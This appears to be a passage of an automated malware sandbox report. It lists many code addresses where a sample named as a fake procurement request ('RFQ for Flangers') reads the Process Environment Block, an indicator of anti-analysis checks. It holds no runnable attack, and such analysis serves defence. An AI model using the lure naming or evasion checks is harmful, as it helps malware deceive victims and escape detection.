Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9100 mov eax, dword ptr fs:[00000030h]	1_2_009D9100
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F4120 mov eax, dword ptr fs:[00000030h]	1_2_009F4120
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F4120 mov eax, dword ptr fs:[00000030h]	1_2_009F4120
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F4120 mov eax, dword ptr fs:[00000030h]	1_2_009F4120
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F4120 mov eax, dword ptr fs:[00000030h]	1_2_009F4120
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F4120 mov ecx, dword ptr fs:[00000030h]	1_2_009F4120
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FB944 mov eax, dword ptr fs:[00000030h]	1_2_009FB944
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FB944 mov eax, dword ptr fs:[00000030h]	1_2_009FB944
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DB171 mov eax, dword ptr fs:[00000030h]	1_2_009DB171
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DB171 mov eax, dword ptr fs:[00000030h]	1_2_009DB171
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DC962 mov eax, dword ptr fs:[00000030h]	1_2_009DC962
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0FAB0 mov eax, dword ptr fs:[00000030h]	1_2_00A0FAB0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EAAB0 mov eax, dword ptr fs:[00000030h]	1_2_009EAAB0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EAAB0 mov eax, dword ptr fs:[00000030h]	1_2_009EAAB0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0D294 mov eax, dword ptr fs:[00000030h]	1_2_00A0D294
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0D294 mov eax, dword ptr fs:[00000030h]	1_2_00A0D294
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D52A5 mov eax, dword ptr fs:[00000030h]	1_2_009D52A5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D52A5 mov eax, dword ptr fs:[00000030h]	1_2_009D52A5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D52A5 mov eax, dword ptr fs:[00000030h]	1_2_009D52A5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D52A5 mov eax, dword ptr fs:[00000030h]	1_2_009D52A5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D52A5 mov eax, dword ptr fs:[00000030h]	1_2_009D52A5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02AE4 mov eax, dword ptr fs:[00000030h]	1_2_00A02AE4
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02ACB mov eax, dword ptr fs:[00000030h]	1_2_00A02ACB
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F3A1C mov eax, dword ptr fs:[00000030h]	1_2_009F3A1C
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DAA16 mov eax, dword ptr fs:[00000030h]	1_2_009DAA16
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DAA16 mov eax, dword ptr fs:[00000030h]	1_2_009DAA16
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A14A2C mov eax, dword ptr fs:[00000030h]	1_2_00A14A2C
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A14A2C mov eax, dword ptr fs:[00000030h]	1_2_00A14A2C
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D5210 mov eax, dword ptr fs:[00000030h]	1_2_009D5210
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D5210 mov ecx, dword ptr fs:[00000030h]	1_2_009D5210
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D5210 mov eax, dword ptr fs:[00000030h]	1_2_009D5210
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D5210 mov eax, dword ptr fs:[00000030h]	1_2_009D5210
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E8A0A mov eax, dword ptr fs:[00000030h]	1_2_009E8A0A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9AA16 mov eax, dword ptr fs:[00000030h]	1_2_00A9AA16
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9AA16 mov eax, dword ptr fs:[00000030h]	1_2_00A9AA16
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A8B260 mov eax, dword ptr fs:[00000030h]	1_2_00A8B260
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A8B260 mov eax, dword ptr fs:[00000030h]	1_2_00A8B260
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA8A62 mov eax, dword ptr fs:[00000030h]	1_2_00AA8A62
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A1927A mov eax, dword ptr fs:[00000030h]	1_2_00A1927A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9240 mov eax, dword ptr fs:[00000030h]	1_2_009D9240
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9240 mov eax, dword ptr fs:[00000030h]	1_2_009D9240
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9240 mov eax, dword ptr fs:[00000030h]	1_2_009D9240
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D9240 mov eax, dword ptr fs:[00000030h]	1_2_009D9240
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A64257 mov eax, dword ptr fs:[00000030h]	1_2_00A64257
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9EA55 mov eax, dword ptr fs:[00000030h]	1_2_00A9EA55
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A04BAD mov eax, dword ptr fs:[00000030h]	1_2_00A04BAD
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A04BAD mov eax, dword ptr fs:[00000030h]	1_2_00A04BAD
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A04BAD mov eax, dword ptr fs:[00000030h]	1_2_00A04BAD
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA5BA5 mov eax, dword ptr fs:[00000030h]	1_2_00AA5BA5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E1B8F mov eax, dword ptr fs:[00000030h]	1_2_009E1B8F
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E1B8F mov eax, dword ptr fs:[00000030h]	1_2_009E1B8F
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9138A mov eax, dword ptr fs:[00000030h]	1_2_00A9138A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A8D380 mov ecx, dword ptr fs:[00000030h]	1_2_00A8D380
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0B390 mov eax, dword ptr fs:[00000030h]	1_2_00A0B390
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02397 mov eax, dword ptr fs:[00000030h]	1_2_00A02397
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A003E2 mov eax, dword ptr fs:[00000030h]	1_2_00A003E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A003E2 mov eax, dword ptr fs:[00000030h]	1_2_00A003E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A003E2 mov eax, dword ptr fs:[00000030h]	1_2_00A003E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A003E2 mov eax, dword ptr fs:[00000030h]	1_2_00A003E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A003E2 mov eax, dword ptr fs:[00000030h]	1_2_00A003E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A003E2 mov eax, dword ptr fs:[00000030h]	1_2_00A003E2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A553CA mov eax, dword ptr fs:[00000030h]	1_2_00A553CA
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A553CA mov eax, dword ptr fs:[00000030h]	1_2_00A553CA
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FDBE9 mov eax, dword ptr fs:[00000030h]	1_2_009FDBE9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9131B mov eax, dword ptr fs:[00000030h]	1_2_00A9131B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DF358 mov eax, dword ptr fs:[00000030h]	1_2_009DF358
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A03B7A mov eax, dword ptr fs:[00000030h]	1_2_00A03B7A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A03B7A mov eax, dword ptr fs:[00000030h]	1_2_00A03B7A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DDB40 mov eax, dword ptr fs:[00000030h]	1_2_009DDB40
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA8B58 mov eax, dword ptr fs:[00000030h]	1_2_00AA8B58
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DDB60 mov ecx, dword ptr fs:[00000030h]	1_2_009DDB60
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E849B mov eax, dword ptr fs:[00000030h]	1_2_009E849B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A914FB mov eax, dword ptr fs:[00000030h]	1_2_00A914FB
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56CF0 mov eax, dword ptr fs:[00000030h]	1_2_00A56CF0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56CF0 mov eax, dword ptr fs:[00000030h]	1_2_00A56CF0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56CF0 mov eax, dword ptr fs:[00000030h]	1_2_00A56CF0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA8CD6 mov eax, dword ptr fs:[00000030h]	1_2_00AA8CD6
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0BC2C mov eax, dword ptr fs:[00000030h]	1_2_00A0BC2C
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA740D mov eax, dword ptr fs:[00000030h]	1_2_00AA740D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA740D mov eax, dword ptr fs:[00000030h]	1_2_00AA740D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA740D mov eax, dword ptr fs:[00000030h]	1_2_00AA740D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91C06 mov eax, dword ptr fs:[00000030h]	1_2_00A91C06
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56C0A mov eax, dword ptr fs:[00000030h]	1_2_00A56C0A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56C0A mov eax, dword ptr fs:[00000030h]	1_2_00A56C0A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56C0A mov eax, dword ptr fs:[00000030h]	1_2_00A56C0A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56C0A mov eax, dword ptr fs:[00000030h]	1_2_00A56C0A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0A44B mov eax, dword ptr fs:[00000030h]	1_2_00A0A44B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F746D mov eax, dword ptr fs:[00000030h]	1_2_009F746D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6C450 mov eax, dword ptr fs:[00000030h]	1_2_00A6C450
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6C450 mov eax, dword ptr fs:[00000030h]	1_2_00A6C450
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A035A1 mov eax, dword ptr fs:[00000030h]	1_2_00A035A1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA05AC mov eax, dword ptr fs:[00000030h]	1_2_00AA05AC
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA05AC mov eax, dword ptr fs:[00000030h]	1_2_00AA05AC
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A01DB5 mov eax, dword ptr fs:[00000030h]	1_2_00A01DB5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A01DB5 mov eax, dword ptr fs:[00000030h]	1_2_00A01DB5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A01DB5 mov eax, dword ptr fs:[00000030h]	1_2_00A01DB5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D2D8A mov eax, dword ptr fs:[00000030h]	1_2_009D2D8A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D2D8A mov eax, dword ptr fs:[00000030h]	1_2_009D2D8A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D2D8A mov eax, dword ptr fs:[00000030h]	1_2_009D2D8A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D2D8A mov eax, dword ptr fs:[00000030h]	1_2_009D2D8A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D2D8A mov eax, dword ptr fs:[00000030h]	1_2_009D2D8A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02581 mov eax, dword ptr fs:[00000030h]	1_2_00A02581
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02581 mov eax, dword ptr fs:[00000030h]	1_2_00A02581
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02581 mov eax, dword ptr fs:[00000030h]	1_2_00A02581
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02581 mov eax, dword ptr fs:[00000030h]	1_2_00A02581
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0FD9B mov eax, dword ptr fs:[00000030h]	1_2_00A0FD9B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0FD9B mov eax, dword ptr fs:[00000030h]	1_2_00A0FD9B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9FDE2 mov eax, dword ptr fs:[00000030h]	1_2_00A9FDE2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9FDE2 mov eax, dword ptr fs:[00000030h]	1_2_00A9FDE2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9FDE2 mov eax, dword ptr fs:[00000030h]	1_2_00A9FDE2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9FDE2 mov eax, dword ptr fs:[00000030h]	1_2_00A9FDE2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A88DF1 mov eax, dword ptr fs:[00000030h]	1_2_00A88DF1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56DC9 mov eax, dword ptr fs:[00000030h]	1_2_00A56DC9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56DC9 mov eax, dword ptr fs:[00000030h]	1_2_00A56DC9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56DC9 mov eax, dword ptr fs:[00000030h]	1_2_00A56DC9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56DC9 mov ecx, dword ptr fs:[00000030h]	1_2_00A56DC9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56DC9 mov eax, dword ptr fs:[00000030h]	1_2_00A56DC9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A56DC9 mov eax, dword ptr fs:[00000030h]	1_2_00A56DC9
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009ED5E0 mov eax, dword ptr fs:[00000030h]	1_2_009ED5E0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009ED5E0 mov eax, dword ptr fs:[00000030h]	1_2_009ED5E0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9E539 mov eax, dword ptr fs:[00000030h]	1_2_00A9E539
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A5A537 mov eax, dword ptr fs:[00000030h]	1_2_00A5A537
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A04D3B mov eax, dword ptr fs:[00000030h]	1_2_00A04D3B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A04D3B mov eax, dword ptr fs:[00000030h]	1_2_00A04D3B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A04D3B mov eax, dword ptr fs:[00000030h]	1_2_00A04D3B
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA8D34 mov eax, dword ptr fs:[00000030h]	1_2_00AA8D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E3D34 mov eax, dword ptr fs:[00000030h]	1_2_009E3D34
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DAD30 mov eax, dword ptr fs:[00000030h]	1_2_009DAD30
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F7D50 mov eax, dword ptr fs:[00000030h]	1_2_009F7D50
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A13D43 mov eax, dword ptr fs:[00000030h]	1_2_00A13D43
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A53540 mov eax, dword ptr fs:[00000030h]	1_2_00A53540
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FC577 mov eax, dword ptr fs:[00000030h]	1_2_009FC577
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009FC577 mov eax, dword ptr fs:[00000030h]	1_2_009FC577
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A83D40 mov eax, dword ptr fs:[00000030h]	1_2_00A83D40
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A546A7 mov eax, dword ptr fs:[00000030h]	1_2_00A546A7
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA0EA5 mov eax, dword ptr fs:[00000030h]	1_2_00AA0EA5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA0EA5 mov eax, dword ptr fs:[00000030h]	1_2_00AA0EA5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA0EA5 mov eax, dword ptr fs:[00000030h]	1_2_00AA0EA5
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A6FE87 mov eax, dword ptr fs:[00000030h]	1_2_00A6FE87
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A016E0 mov ecx, dword ptr fs:[00000030h]	1_2_00A016E0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A18EC7 mov eax, dword ptr fs:[00000030h]	1_2_00A18EC7
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A8FEC0 mov eax, dword ptr fs:[00000030h]	1_2_00A8FEC0
